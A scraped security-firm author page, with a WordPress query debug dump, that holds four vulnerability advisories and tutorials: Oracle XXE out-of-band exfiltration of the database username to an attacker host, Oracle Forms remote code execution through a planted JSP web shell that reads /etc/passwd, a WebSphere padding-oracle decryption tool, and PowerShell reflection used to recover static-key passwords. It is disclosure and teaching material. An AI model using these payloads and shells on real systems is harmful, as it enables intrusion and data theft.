Khai Tran

Khai has over 4 years of computer security experience in application development, database administration, and system administration. Khai has solid understanding of secure software development lifecycle and secure application code review. He has been working with various technologies ranging from web to thick-client and cloud computing. Khai works with NetSPI clients to determine their requirements, identify security weaknesses, develop remediation options, and provide business context and is a GIAC Web Application Penetration Tester (WAPT).
More by Khai Tran
WP_Query Object
(
    [query] => Array
        (
            [post_type] => Array
                (
                    [0] => post
                    [1] => webinars
                )

            [posts_per_page] => -1
            [post_status] => publish
            [meta_query] => Array
                (
                    [relation] => OR
                    [0] => Array
                        (
                            [key] => new_authors
                            [value] => "12"
                            [compare] => LIKE
                        )

                    [1] => Array
                        (
                            [key] => new_presenters
                            [value] => "12"
                            [compare] => LIKE
                        )

                )

        )

    [query_vars] => Array
        (
            [post_type] => Array
                (
                    [0] => post
                    [1] => webinars
                )

            [posts_per_page] => -1
            [post_status] => publish
            [meta_query] => Array
                (
                    [relation] => OR
                    [0] => Array
                        (
                            [key] => new_authors
                            [value] => "12"
                            [compare] => LIKE
                        )

                    [1] => Array
                        (
                            [key] => new_presenters
                            [value] => "12"
                            [compare] => LIKE
                        )

                )

            [error] => 
            [m] => 
            [p] => 0
            [post_parent] => 
            [subpost] => 
            [subpost_id] => 
            [attachment] => 
            [attachment_id] => 0
            [name] => 
            [pagename] => 
            [page_id] => 0
            [second] => 
            [minute] => 
            [hour] => 
            [day] => 0
            [monthnum] => 0
            [year] => 0
            [w] => 0
            [category_name] => 
            [tag] => 
            [cat] => 
            [tag_id] => 
            [author] => 
            [author_name] => 
            [feed] => 
            [tb] => 
            [paged] => 0
            [meta_key] => 
            [meta_value] => 
            [preview] => 
            [s] => 
            [sentence] => 
            [title] => 
            [fields] => 
            [menu_order] => 
            [embed] => 
            [category__in] => Array
                (
                )

            [category__not_in] => Array
                (
                )

            [category__and] => Array
                (
                )

            [post__in] => Array
                (
                )

            [post__not_in] => Array
                (
                )

            [post_name__in] => Array
                (
                )

            [tag__in] => Array
                (
                )

            [tag__not_in] => Array
                (
                )

            [tag__and] => Array
                (
                )

            [tag_slug__in] => Array
                (
                )

            [tag_slug__and] => Array
                (
                )

            [post_parent__in] => Array
                (
                )

            [post_parent__not_in] => Array
                (
                )

            [author__in] => Array
                (
                )

            [author__not_in] => Array
                (
                )

            [search_columns] => Array
                (
                )

            [ignore_sticky_posts] => 
            [suppress_filters] => 
            [cache_results] => 1
            [update_post_term_cache] => 1
            [update_menu_item_cache] => 
            [lazy_load_term_meta] => 1
            [update_post_meta_cache] => 1
            [nopaging] => 1
            [comments_per_page] => 50
            [no_found_rows] => 
            [order] => DESC
        )

    [tax_query] => WP_Tax_Query Object
        (
            [queries] => Array
                (
                )

            [relation] => AND
            [table_aliases:protected] => Array
                (
                )

            [queried_terms] => Array
                (
                )

            [primary_table] => wp_posts
            [primary_id_column] => ID
        )

    [meta_query] => WP_Meta_Query Object
        (
            [queries] => Array
                (
                    [0] => Array
                        (
                            [key] => new_authors
                            [value] => "12"
                            [compare] => LIKE
                        )

                    [1] => Array
                        (
                            [key] => new_presenters
                            [value] => "12"
                            [compare] => LIKE
                        )

                    [relation] => OR
                )

            [relation] => OR
            [meta_table] => wp_postmeta
            [meta_id_column] => post_id
            [primary_table] => wp_posts
            [primary_id_column] => ID
            [table_aliases:protected] => Array
                (
                    [0] => wp_postmeta
                )

            [clauses:protected] => Array
                (
                    [wp_postmeta] => Array
                        (
                            [key] => new_authors
                            [value] => "12"
                            [compare] => LIKE
                            [compare_key] => =
                            [alias] => wp_postmeta
                            [cast] => CHAR
                        )

                    [wp_postmeta-1] => Array
                        (
                            [key] => new_presenters
                            [value] => "12"
                            [compare] => LIKE
                            [compare_key] => =
                            [alias] => wp_postmeta
                            [cast] => CHAR
                        )

                )

            [has_or_relation:protected] => 1
        )

    [date_query] => 
    [request] => 
					SELECT   wp_posts.ID
					FROM wp_posts  INNER JOIN wp_postmeta ON ( wp_posts.ID = wp_postmeta.post_id )
					WHERE 1=1  AND ( 
  ( wp_postmeta.meta_key = 'new_authors' AND wp_postmeta.meta_value LIKE '{bdeda712f16cc127f5d639b4d7ad203542b8f584f41bc1237b9c5486e64fd02c}\"12\"{bdeda712f16cc127f5d639b4d7ad203542b8f584f41bc1237b9c5486e64fd02c}' ) 
  OR 
  ( wp_postmeta.meta_key = 'new_presenters' AND wp_postmeta.meta_value LIKE '{bdeda712f16cc127f5d639b4d7ad203542b8f584f41bc1237b9c5486e64fd02c}\"12\"{bdeda712f16cc127f5d639b4d7ad203542b8f584f41bc1237b9c5486e64fd02c}' )
) AND wp_posts.post_type IN ('post', 'webinars') AND ((wp_posts.post_status = 'publish'))
					GROUP BY wp_posts.ID
					ORDER BY wp_posts.post_date DESC
					
				
    [posts] => Array
        (
            [0] => WP_Post Object
                (
                    [ID] => 2814
                    [post_author] => 12
                    [post_date] => 2015-01-21 07:00:31
                    [post_date_gmt] => 2015-01-21 07:00:31
                    [post_content] => 

Vulnerability Description

The XML Parser module in Oracle Database is vulnerable to XML External Entity (XXE) Injection.

Affected versions: 11.2.0.3, 11.2.0.4, 12.1.0.1 and 12.1.0.2

Privilege required: CREATE SESSION

Technical Details

Due to the security features in Oracle's XML parser, the external schema is resolved, but not parsed. This prevents certain XXE injection attacks, such as reading local files on the remote database server. However, an attacker could send a specially-crafted SQL Query to trigger the XML Resolver, tricking the server into connecting to a remote resource via HTTP or FTP channels. This makes it possible to exfiltrate data via Out-Of-Band channels, perform port-scanning on remote internal systems, perform Server-Side Request Forgery (SSRF) attacks or cause a Denial-of-Service (DoS) condition.

Vulnerable URI handlers:

  • http:
  • ftp:

Oracle's XML Parser can be triggered by calling the extractvalue() function for an xmltype object. Below is an example query with a vanilla XXE injection payload:

select extractvalue(xmltype('<!ENTITY xxe SYSTEM "etc/passwd">]>'|| '&' ||'xxe;'),'/l') from dual;

Executing the above query will produce the following error:

ORA-31001: Invalid resource handle or path name "/etc/passwd"
ORA-06512: at "SYS.XMLTYPE", line 310
ORA-06512: at line 1
31001. 00000 - "Invalid resource handle or path name \"%s\""
*Cause: An invalid resource handle or path name was passed to
the XDB hierarchical resolver.
*Action: Pass a valid resouce handle or path name to the hierarchical
resolver.

This is due to the FILE URI handler being converted to an XDB Repository path. However, changing the query to use the HTTP URI handler produces a different error. Example query:

select extractvalue(xmltype('<!ENTITY xxe SYSTEM "https://IP/test">]>'|| '&' ||'xxe;'),'/l') from dual;

Database Server error:

ORA-31020: The operation is not allowed, Reason: For security reasons, ftp and http access over XDB repository is not allowed on server side
ORA-06512: at "SYS.XMLTYPE", line 310
ORA-06512: at line 1
31020. 00000 - "The operation is not allowed, Reason: %s"
*Cause: The operation attempted is not allowed
*Action: See reason and change to a valid operation.

This error suggests that FTP and HTTP URI handlers may be accepted by the XML Parser. Note that the query above will not send any HTTP request to the attacker's system. Let's examine another XXE injection payload that references a Parameter Entity instead of a Document Entity:

select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "https://IP/test"> %remote; %param1;]>'),'/l') from dual;

When executing this query, the Database Server will produce the same error as above (ORA-31020). This time, however, the server is tricked into submitting an HTTP request for the resource "test". Below is the HTTP log from the attacker's server:

ncat -lvp 80
Ncat: Version 6.25 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from DB_IP.
Ncat: Connection from DB_IP:27320.
GET /test HTTP/1.0
Host: DB_IP
Content-Type: text/plain; charset=utf-8

Traditionally, an attacker would need privileged access to UTL_HTTP package in order to force the server to make HTTP requests to an external resource. Since extractvalue() is available for all database users, XXE injection presents another way to trigger out-of-band HTTP requests without the said privilege.

The FTP URI handler (ftp:) can also be used to trigger Oracle's XML Resolver. Example query that sends the database username as an FTP username:

select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "ftp://'||user||':bar@IP/test"> %remote; %param1;]>'),'/l') from dual;

Database Server error (note that the error code is different because the supplied credentials could not be used to login to the remote FTP server):

ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00202: could not open "ftp://SYSTEM:bar@IP/test" (error 402)
Error at line 1
ORA-06512: at "SYS.XMLTYPE", line 310
ORA-06512: at line 1
31011. 00000 - "XML parsing failed"
*Cause: XML parser returned an error while trying to parse the document.
*Action: Check if the document to be parsed is valid.

The database's username is included in the FTP traffic sent to the attacker's server as the FTP username:

KT_Oracle_Vulnerability

Recommendation

Apply Oracle's CPUJan2015.

Timeline

July 03, 2014: vulnerability reported to Oracle.

January 20, 2015: patch released.

References

[post_title] => Advisory: XXE Injection in Oracle Database (CVE-2014-6577) [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => advisory-xxe-injection-oracle-database-cve-2014-6577 [to_ping] => [pinged] => [post_modified] => 2021-04-13 00:06:22 [post_modified_gmt] => 2021-04-13 00:06:22 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=2814 [menu_order] => 691 [post_type] => post [post_mime_type] => [comment_count] => 2 [filter] => raw ) [1] => WP_Post Object ( [ID] => 1740 [post_author] => 12 [post_date] => 2014-10-14 07:00:45 [post_date_gmt] => 2014-10-14 07:00:45 [post_content] =>

Vulnerability Description:

Oracle Forms 10g contains code that does not properly validate user input. This could allow an unauthenticated user to execute arbitrary commands on the remote Oracle Forms server.

Also affected: Oracle E-Business Suite 12.0.6, 12.1.3, 12.2.2, 12.2.3 and 12.2.4 [1]

Vulnerability Details:

When a user launches a new Oracle Forms application, the application first invokes the FormsServlet class to initiate connection. The application then invokes the ListenerServlet class, which launches frmweb process in the background of the remote server.

The normal URL to invoke ListenerServlet looks like:

https://127.0.0.1:8889/forms/lservlet?ifcfs=/forms/frmservlet?acceptLanguage=en-US,en;q=0.5&ifcmd=getinfo&ifip=127.0.0.1

With the above URL, the normal frmweb process is started with the following parameters:

frmweb server webfile=HTTP-0,0,0,em_mode,127.0.0.1

Where ifip parameter is controllable by user input. The frmweb executable, however, accepts one more parameter:

frmweb server webfile=HTTP-0,0,0,em_mode,127.0.0.1,logfile

A log file, named based on the user supplied log name, is created on the server following the request. The content of the log file contains the log file name:

FORMS CONNECTION ACTIVITY LOG FILE
Developer:Forms/LogRecord

[Fri May  9 16:46:58 2014 EDT]::Server Start-up Data:
        Server Log Filename: logfile
        Server Hostname: oralin6u5x86
        Server Port: 0
        Server Pool: 1
        Server Process Id: 15638

The Oracle Forms application does not perform adequate input validation on the logfile parameter and allows directory traversal sequences (../). By controlling the ifip parameter passed to the ListenerServlet class, an attacker can now control the logfile location and partially its content as well. Combined with the weak configuration of the remote web server that allows jsp files to be served under https://host:port/forms/java location, attacker could upload a remote shell and execute arbitrary code on the server.

Technical challenges:

The web server does not seem to accept white spaces or new lines; it also limits the number of characters that could be passed onto the frmweb executable. To execute Operating System command, a custom JSP shell was developed that bypass such restrictions.

Verification:

Proof-of-concept exploit (tested with Oracle Development Suite 10.1.2.0.2, installed on Oracle Linux 5u6):

1. Upload first shell to execute commands (see Other Notes for the decoded version):

curl --request GET  'https://127.0.0.1:8889/forms/lservlet?ifcfs=/forms/frmservlet?acceptLanguage=en-US,en;q=0.5&ifcmd=getinfo&ifip=127.0.0.1,./java/<%25java.lang.Runtime.getRuntime().exec(request.getParameterValues("cmd"))%3b%25>.jsp'

2. After the first step, attacker could execute OS command via the blind shell, located at: https://127.0.0.1:8889/forms/java/<%25java.lang.Runtime.getRuntime().exec(request.getParameterValues("cmd"))%3b%25>.jsp. To retrieve the command results, they could use the first blind shell to write the second JSP shell, which was based of fuzzdb's cmd.jsp [3]

curl --request GET 'https://127.0.0.1:8889/forms/java/&lt;%25java.lang.Runtime.getRuntime().exec(request.getParameterValues("cmd"))%3b%25>.jsp?cmd=/bin/sh&amp;cmd=-c&amp;cmd=echo%20PCVAcGFnZSBpbXBvcnQ9ImphdmEuaW8uKiIlPjwlU3RyaW5nIG9wPSIiLHM9IiI7dHJ5e1Byb2Nlc3MgcD1SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSk7QnVmZmVyZWRSZWFkZXIgc0k9bmV3IEJ1ZmZlcmVkUmVhZGVyKG5ldyBJbnB1dFN0cmVhbVJlYWRlcihwLmdldElu-cHV0U3RyZWFtKCkpKTt3aGlsZSgocz1zSS5yZWFkTGluZSgpKSE9bnVsbCl7b3ArPXM7fX1jYXRjaChJT0V4Y2VwdGlvbiBlKXtlLnByaW50U3RhY2tUcmFjZSgpO30lPjwlPW9wJT4%3d|base64%20--decode%3E./forms/java/cmd.jsp'

3. The second shell is now available at https://127.0.0.1:8889/forms/java/cmd.jsp. To get the content of /etc/passwd on the remote server:

curl --request GET  'https://127.0.0.1:8889/forms/java/cmd.jsp?cmd=cat+/etc/passwd'
Forms

Recommendations for Oracle:

  • Create a white list of characters that are allowed to appear in the input and accept input composed exclusively of characters in the approved set.
  • Consider removing support for jsp files on the remote web server if it is not required.

Other notes:

URL-decoded version of the first blind JSP shell:

<%java.lang.Runtime.getRuntime().exec(request.getParameterValues("cmd"));>

Base64-decoded version of the second JSP shell:

<%@page import="java.io.*"%&gt;&lt;%String op="",s="";try{Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader sI=new BufferedReader(new InputStreamReader(p.getInputStream()));while((s=sI.readLine())!=null){op+=s;}}catch(IOException e){e.printStackTrace();}%&gt;&lt;%=op%>

Oracle Forms 10g is also vulnerable to a simple DOS attack: each time the URL https://127.0.0.1:8889/forms/lservlet?ifcfs=/forms/frmservlet?acceptLanguage=en-US,en;q=0.5&ifcmd=getinfo&ifip=127.0.0.1 is invoked, a frmweb process will be launched in the background. An attacker could exhaust server resources simply by requesting the same URL multiple times. I believe this behavior is fixed in version 11g and onwards with connection pooling

For Oracle Forms 11g and onwards, it is still possible to inject into command arguments of the frmweb executable, through a different vector. However the frmweb executable does not seem to recognize that last argument as the log file location; therefore another vulnerability may be required in order to gain code execution.

Since Oracle has ended its support for Forms 10g [2], the patch for Forms 10g itself was not released in the 2014 October CPU [1]. However, it appeared that Forms 10g component is still being used in E-Business Suite; therefore a patch for it was released [1]. If your organization is still using Oracle Forms 10g, I would recommend backport the fix from E-Business Suite, or upgrade to Forms version 11 or newer.

Report Timeline:

  • May 15, 2014: vulnerability was reported to Oracle.
  • June 18, 2014: vulnerability was confirmed by Oracle
  • October 14, 2014: patch released

References:

[1] https://www.oracle.com/technetwork/topics/security/cpuoct2014-1972960.html

[2] https://blogs.oracle.com/grantronald/entry/alert_for_forms_customers_running_oracle_forms_10g

[3] https://github.com/rustyrobot/fuzzdb/blob/master/web-backdoors/jsp/cmd.jsp

[post_title] => Advisory: Oracle Forms 10g Unauthenticated Remote Code Execution (CVE-2014-4278) [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => advisory-oracle-forms-10g-unauthenticated-remote-code-execution-cve-2014-4278 [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:42:53 [post_modified_gmt] => 2021-06-08 21:42:53 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=1740 [menu_order] => 701 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [2] => WP_Post Object ( [ID] => 1127 [post_author] => 12 [post_date] => 2014-03-03 07:00:47 [post_date_gmt] => 2014-03-03 07:00:47 [post_content] =>

Background

IBM WebSphere Commerce or WebSphere Commerce Suite (WCS), developed by IBM, is a software platform framework for e-commerce and is actively being used by giant retailers.

While working on an engagement last year, I stumbled upon a crypto vulnerability in the IBM Websphere Commerce framework, originally found by VSR Security (CVE-2013-05230). Essentially the krypto parameter found in some URLs could be decrypted using a padding oracle attack. Since no public exploit has been published as time of this writing, I figured it might be an interesting exercise to write one.

IBM uses their own crypto library for Cipher Block Chaining (CBC) ciphers, but my guess is that the implementation will be approximate to the OpenJDK snippet found at: https://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/6-b14/com/sun/crypto/provider/CipherCore.java

 if (decrypting) {

  if (outputCapacity < paddedLen) {
      cipher.save();
  }
  // create temporary output buffer so that only "real"
  // data bytes are passed to user's output buffer.
  byte[] outWithPadding = new byte[totalLen];
  totalLen = finalNoPadding(finalBuf, finalOffset, outWithPadding,
                            0, totalLen);

  if (padding != null) {
      int padStart = padding.unpad(outWithPadding, 0, totalLen);
      if (padStart < 0) {
          throw new BadPaddingException("Given final block not "
                                        + "properly padded");
      }

This crypto library will throw a BadPaddingException when invalid padding is encountered. It is then up to the code that is using this library to handle this exception. In this case, IBM WebSphere Commerce framework seems to leak the information about the padding byte by returning a different response when invalid padding occurs.

Detection

Once you have found a page with krypto URL parameter, differentiate between the following conditions:

  1. Valid ciphertext decrypted
  2. Valid padding - You will need this one to de-krypto :)
  3. Invalid padding error

In real world scenario, I found condition (1) and (2) are the same for most of the time. Here is how to test it:

Let us assume we have this valid krypto value:

krypto=rKPqPoqBmZV96l9Ot5GLUtgQwuEYt4oDEG[TRUNCATED]
Kt Dekrypto

Record the normal response - this is condition (1)

Replacing first few characters and run it again, record the response - this is condition (2):

krypto=AAAqPoqBmZV96l9Ot5GLUtgQwuEYt4oDEGrhpdNbubd[TRUNCATED]
Kt Dekrypto

Delete random characters and run it one final time, record the response - this is condition (3):

krypto=qPoqBmZV96l9Ot5GLUtgQwuEYt4oDEGrhpdNbubd[TRUNCATED]
Kt Dekrypto

You can use Burp's Comparer tool to compare those responses. If (3) is different from (2) and (1) then it may be possible to decrypt this parameter.

Exploitation

Padding oracle attack is not specific to any cipher, rather it is a generic attack against CBC ciphers. Therefore any padding oracle implementations will work in this scenario. I have looked at several padding oracle algorithms, and Ron Bowes' algorithm by far is the fastest one. The reason is, most padding oracle algorithms iterate over the ciphertext bytes of [Block (n-1)] randomly (bytes ranging from 0-255) to find the plaintext of [Block n]. Ron's algorithm also iterates over the ciphertext bytes of [Block (n-1)]; but instead of doing so randomly, it loops over a defined character set first (which is composed of ASCII characters, bytes ranging from 32-126), then the rest of the possible byte values (0-31 and 127-255). This greatly reduces number of requests sent, since most meaningful string is composed of ASCII characters.

In addition, I made the following adaptations to Ron's poracle framework in order for the exploit to work with this particular case:

Encoding/decoding

Ron's Bowes' script assumes the payload is in hexadecimal format. So extra encoding/decoding of the krypto parameter is required. The decoding process is as follow:

  1. URL decode key characters (including newline)
  2. Base64 decode
  3. ASCII encode

Encoding steps:

  1. ASCII decode
  2. Insert newline character at every 77th character (RFC 2045 or 4880)
  3. Base64 encode
  4. URL encode key characters

Format of payload

Ron's original script is made on the assumption that the server will decrypt any two-block payload provided by the attacker. Let us assume that our valid ciphertext blocks is:

[Block 0] [Block 1] [Block 2] [Block 3]

To decrypt [Block 2], we need to send

[Block 1] [Block 2*] 

and wait until the server returns padding error.

However, with IBM Web Commerce, the server does not decrypt any arbitrary two-block payload. It seems to require a valid header or expect certain values at the beginning of the block. Therefore, in order to decrypt [Block 3], we need to send:

[Block 0] [Block 1] [Block 2*] [Block 3]

This is an easy fix, I only needed to append the early blocks to the payload.

Parallelization

  • I added support for multi-threading. The script uses Meh's Ruby thread pool library to reduce the overhead of creating and destroying threads.
  • I also added the ability to skip already-decrypted blocks and save temporary results to a session file. In situations where the connection ends abruptly, the script only needs to work off the remaining blocks.

Usage

Usage: Usage: Dekrypto.rb [options]

Specific options:
    -s, --sort                       Sort temporary results
    -v, --verbose                    Show debug messages
    -t, --threads SIZE               Set threadpool size
    -f, --file FILE                  Save temporary results to file
    -h, --help                       Show this message

Example

Running test server:

ruby KryptoTestServer.rb

Running Dekrypto script with verbose output, ten threads, saving temporary results to a text file
(decrypted.txt)

ruby DeKryptoDemo.rb -v -f decrypted.txt -t 10

Ouput

Temporal Result:
0,
1,1996&use
2,rName=de
3,rp%20&pa
4,ssword=t
5,his+is+a
6,+secure+
7,password
8,&promoti
9,onCode=S
10,PRING+20
11,13

DECRYPTED: 1996&userName=derp%20&password=this+is+a+secure+password&promotionCode=SPRING+2013
DURATION: 12.66 seconds

Limitation

When testing against real applications, I notice that some blocks may not be decrypted properly. My guess is that the server may catch earlier exception in the decoding phase (at either the URL decoding step or the UTF-8 decoding step) and return valid response. Currently, I do not know how to overcome this limitation so any suggestions will be much appreciated.

The source code could be found at: https://github.com/NetSPI/Dekrypto

References

[post_title] => DeKrypto - Padding Oracle attack against IBM WebSphere Commerce (CVE-2013-05230) [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => dekrypto-padding-oracle-attack-against-ibm-websphere-commerce-cve-2013-05230 [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:49:14 [post_modified_gmt] => 2021-06-08 21:49:14 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=1127 [menu_order] => 722 [post_type] => post [post_mime_type] => [comment_count] => 2 [filter] => raw ) [3] => WP_Post Object ( [ID] => 1143 [post_author] => 12 [post_date] => 2013-10-14 07:00:28 [post_date_gmt] => 2013-10-14 07:00:28 [post_content] => During application assessments, I have stumbled upon several cases when I need to call out a specific function embedded in a .NET assembly (be it .exe or .dll extension). For example, an encrypted database password is found in a configuration file. Using .NET Decompiler, I am able to see and identify the function used to encrypt the database password. The encryption key appears to be static, so if I could call the corresponding decrypt function, I would be able to recover that password. Classic solution: using Visual Studio to create new project, import encryption library, call out that function if it's public or use .NET Reflection API if it's private (or just copy the class to the new workspace, change method accessibility modifier to public and call out the function too if it is self-contained). Alternative (and hopeful less-time consuming) solution: Powershell could be used in conjunction with .NET Reflection API to invoke methods directly from the imported assemblies, bypassing the need of an IDE and the grueling process of compiling source code.

Requirements

Powershell and .NET framework, available at https://www.microsoft.com/en-us/download/details.aspx?id=34595
Note that Powershell version 3 is used in the below examples, and the assembly is developed in C#.

Walkthrough

First, identify the fully qualified class name (typically in the form of Namespace.Classname ), method name, accessibility level, member modifier and method arguments. This can easily be done with any available .NET Decompiler (dotPeek, JustDecompile, Reflector) Kh Powershell Scenario

Scenario 1: Public static class - Call public static method

namespace AesSample
{
 public class AesLibStatic
 {
 ...
 public static string DecryptString(string cipherText)
 {
 return DecryptStringPrivate(StringToByteArray(cipherText));
 }
This is the vanilla case, essentially in powershell you just need to call [Namespace].[Classname]::(params[]) And it only took 2 lines of code to do it:
Load all .NET binaries in the folder
Get-ChildItem -recurse "D:DocumentsVisual Studio 2010ProjectsAesSampleAesSamplebinDebug"|Where-Object {($_.Extension -EQ ".dll") -or ($_.Extension -eq ".exe")} | ForEach-Object { $AssemblyName=$_.FullName; Try {[Reflection.Assembly]::LoadFile($AssemblyName)} Catch{ "***ERROR*** Not .NET assembly: " + $AssemblyName}} 
#Call public static method
[AesSample.AesLibStatic]::DecryptString("8E3C5A3088CEA26B634CFDA09D13A7DB")

Result: Kh Powershell Scenario

Scenario 2: Public static class - Call private static method

Let's say you want to call this private static method, assuming the method name is unique within the class
private static string DecryptStringSecret(string cipherText) {
 return DecryptStringPrivate(StringToByteArray(cipherText));
}
Private methods can't be accessed directly from Powershell object, instead you will need to find it by name and correct binding flags. More information about binding flags could be found here: https://msdn.microsoft.com/en-us/library/4ek9c21e.aspx
#Load all .NET binaries in the folder
Get-ChildItem -recurse "D:DocumentsVisual Studio 2010ProjectsAesSampleAesSamplebinDebug"|Where-Object {($_.Extension -EQ ".dll") -or ($_.Extension -eq ".exe")} | ForEach-Object { $AssemblyName=$_.FullName; Try {[Reflection.Assembly]::LoadFile($AssemblyName)} Catch{ "***ERROR*** Not .NET assembly: " + $AssemblyName}}
#Only retrieve static private method
$BindingFlags= [Reflection.BindingFlags] "NonPublic,Static"
 
#Load method based on name
$PrivateMethod = [AesSample.AesLibStatic].GetMethod("DecryptStringSecret",$bindingFlags)
 
#Invoke
$PrivateMethod.Invoke($null,"8E3C5A3088CEA26B634CFDA09D13A7DB")

Scenario 2 Extension: Function Overloading: Public static class - Call private static method

In some cases, programmer takes advantage of function overloading feature of Object-Oriented languages - i.e multiple methods can have the same name as long as they have different argument list. For example:
private static string DecryptStringPrivate(string cipherText) {
 return DecryptStringFromBytes_Aes(StringToByteArray(cipherText), key, iv);
}
private static string DecryptStringPrivate(byte[] cipherText) {
 return DecryptStringFromBytes_Aes(cipherText, key, iv);
}
Note that the two DecryptStringPrivate methods have the same name, but one takes a string as input, while another takes a bytearray as input. In this case, to look up the right method, you will need method name and method signature. The snippet below will invoke DecryptStringPrivate(byte[] cipherText)
#Load all .NET binaries in the folder
Get-ChildItem -recurse "D:DocumentsVisual Studio 2010ProjectsAesSampleAesSamplebinDebug"|Where-Object {($_.Extension -EQ ".dll") -or ($_.Extension -eq ".exe")} | ForEach-Object { $AssemblyName=$_.FullName; Try {[Reflection.Assembly]::LoadFile($AssemblyName)} Catch{ "***ERROR*** Not .NET assembly: " + $AssemblyName}}
#Search for private method based on name
$PrivateMethods = [AesSample.AesLibStatic].GetMethods($bindingFlags) | Where-Object Name -eq DecryptStringPrivate
 
 
$PrivateMethods | ForEach-Object{
 $PrivateMethod=$_
 $MethodParams=$PrivateMethod.GetParameters()
 $MemberSignature = $MethodParams | Select -First 1 | Select-Object Member
 #This will list all the method signatures
 $MemberSignature.Member.ToString()
 
 #Choose the correct method based on parameter list
 If ($MemberSignature.Member.ToString() -eq "System.String DecryptStringPrivate(Byte[])"){
 [byte[]]$Bytes =@(70,1,65,70,155,197,95,238,85,79,190,34,158,69,125,233,53,212,111,19,248,209,147,180,19,172,150,25,97,41,127,175)
 [Object[]] $Params=@(,$Bytes)
 
 #Call with the right arguments
 $PrivateMethod.Invoke($null,$Params)
 }
}

Scenario 3: Public class - Call nonstatic public method

If a class is not declared with "static" keyword, its methods can't be invoked directly from the class itself but from an instance of the class with the following snippet:
Classname a = new Classname();
a.methodName(args[]);
For example:
namespace AesSample {
 public class AesLib {...public string DecryptString(string cipherText) {
 return DecryptStringPrivate(StringToByteArray(cipherText));
 }
Sample solution:
#Load all .NET binaries in the folder
Get-ChildItem -recurse "D:DocumentsVisual Studio 2010ProjectsAesSampleAesSamplebinDebug"|Where-Object {($_.Extension -EQ ".dll") -or ($_.Extension -eq ".exe")} | ForEach-Object { $AssemblyName=$_.FullName; Try {[Reflection.Assembly]::LoadFile($AssemblyName)} Catch{ "***ERROR*** Not .NET assembly: " + $AssemblyName}}
#Call default constructor (no argument)
$AesSample= New-Object "AesSample.AesLib"
#Call constructor with arguments using this syntax: $AesSample= New-Object "AesSample.AesLib" ("a","b")
 
#Invoke public method 
$AesSample.DecryptString("8E3C5A3088CEA26B634CFDA09D13A7DB")

Scenario 4: Public class: Function Overloading - Call nonstatic private method

This is very similar to Scenario 2: extension above. Again you will need both method name and argument list to call the right method.
private string DecryptStringPrivate(string cipherText) {
 return DecryptStringFromBytes_Aes(StringToByteArray(cipherText), key, iv);
}
private string DecryptStringPrivate(byte[] cipherText) {
 return DecryptStringFromBytes_Aes(cipherText, key, iv);
}
Solution:
#Load all .NET binaries in the folder
Get-ChildItem -recurse "D:DocumentsVisual Studio 2010ProjectsAesSampleAesSamplebinDebug"|Where-Object {($_.Extension -EQ ".dll") -or ($_.Extension -eq ".exe")} | ForEach-Object { $AssemblyName=$_.FullName; Try {[Reflection.Assembly]::LoadFile($AssemblyName)} Catch{ "***ERROR*** Not .NET assembly: " + $AssemblyName}}
#Call constructor
$Instance= New-Object "AesSample.AesLib" ("a","b")
 
# Find private nonstatic method. If you want to invoke static private method, replace Instance with Static
$BindingFlags= [Reflection.BindingFlags] "NonPublic,Instance"
 
$Instance.GetType().GetMethods($BindingFlags) | Where-Object Name -eq DecryptStringPrivate| ForEach-Object{
 $PrivateMethod=$_
 $MethodParams=$PrivateMethod.GetParameters() 
 $MemberSignature = $MethodParams | Select -First 1 | Select-Object Member
 $MemberSignature.Member.ToString()
 If ($MemberSignature.Member.ToString() -eq "System.String DecryptStringPrivate(Byte[])"){
 [byte[]]$Bytes =@(70,1,65,70,155,197,95,238,85,79,190,34,158,69,125,233,53,212,111,19,248,209,147,180,19,172,150,25,97,41,127,175)
 [Object[]] $Params=@(,$Bytes)
 
 # You will need to pass the Instance here instead of $null
 $PrivateMethod.Invoke($Instance,$Params)
 }
 }

Closing thoughts:

  • I didn't include code to call out methods from private class in this post. Mainly because usually you can find a public class that reference to private class if it needs to use some methods of the private class, and then you can just invoke the calling method of the public class instead.
  • Those snippets work under assumption that all necessary .NET assemblies are located in the same folder. If other externally-linked .NET assemblies are required, add additional code to load them into memory.
  • Same with externally-linked native assemblies: either set them in your PATH environment variable, manually copy them to C:Windowssystem32 (not recommended) or load them with Powershell's DllImport: https://blogs.msdn.com/b/mattbie/archive/2010/02/23/how-to-call-net-and-win32-methods-from-powershell-and-your-troubleshooting-packs.aspx
  • This method may also be useful in situations where you can't decompile the application's assemblies due to legal constraints. Consult with client or your contact before doing this, but it may be OK to list assembly's methods and call them when necessary. This snippet will import all assemblies found in a folder and list all the constructors, methods along with argument list in a Powershell GridView (it's kind of like mini-Excel so you have built-in search and filter features)
$Results=@()
Get-ChildItem -recurse "D:DocumentsVisual Studio 2010ProjectsAesSampleAesSamplebinDebug"|
Where-Object { ($_.Extension -EQ ".dll") -or ($_.Extension -eq ".exe")} | 
ForEach-Object {
 $AssemblyName= $_.FullName; try {$Assembly = [Reflection.Assembly]::LoadFile($AssemblyName);} catch{ "***ERROR*** Error when loading assembly: " + $AssemblyName} $Assembly | Format-Table; $Assembly.GetTypes() |
 %{
 $Type=$_;$_.GetMembers() | Where-Object {$_.MemberType -eq "Constructor"-or $_.MemberType -EQ "Method" } | 
 %{
 $ObjectProperties = @{ 'Assembly' = $AssemblyName;
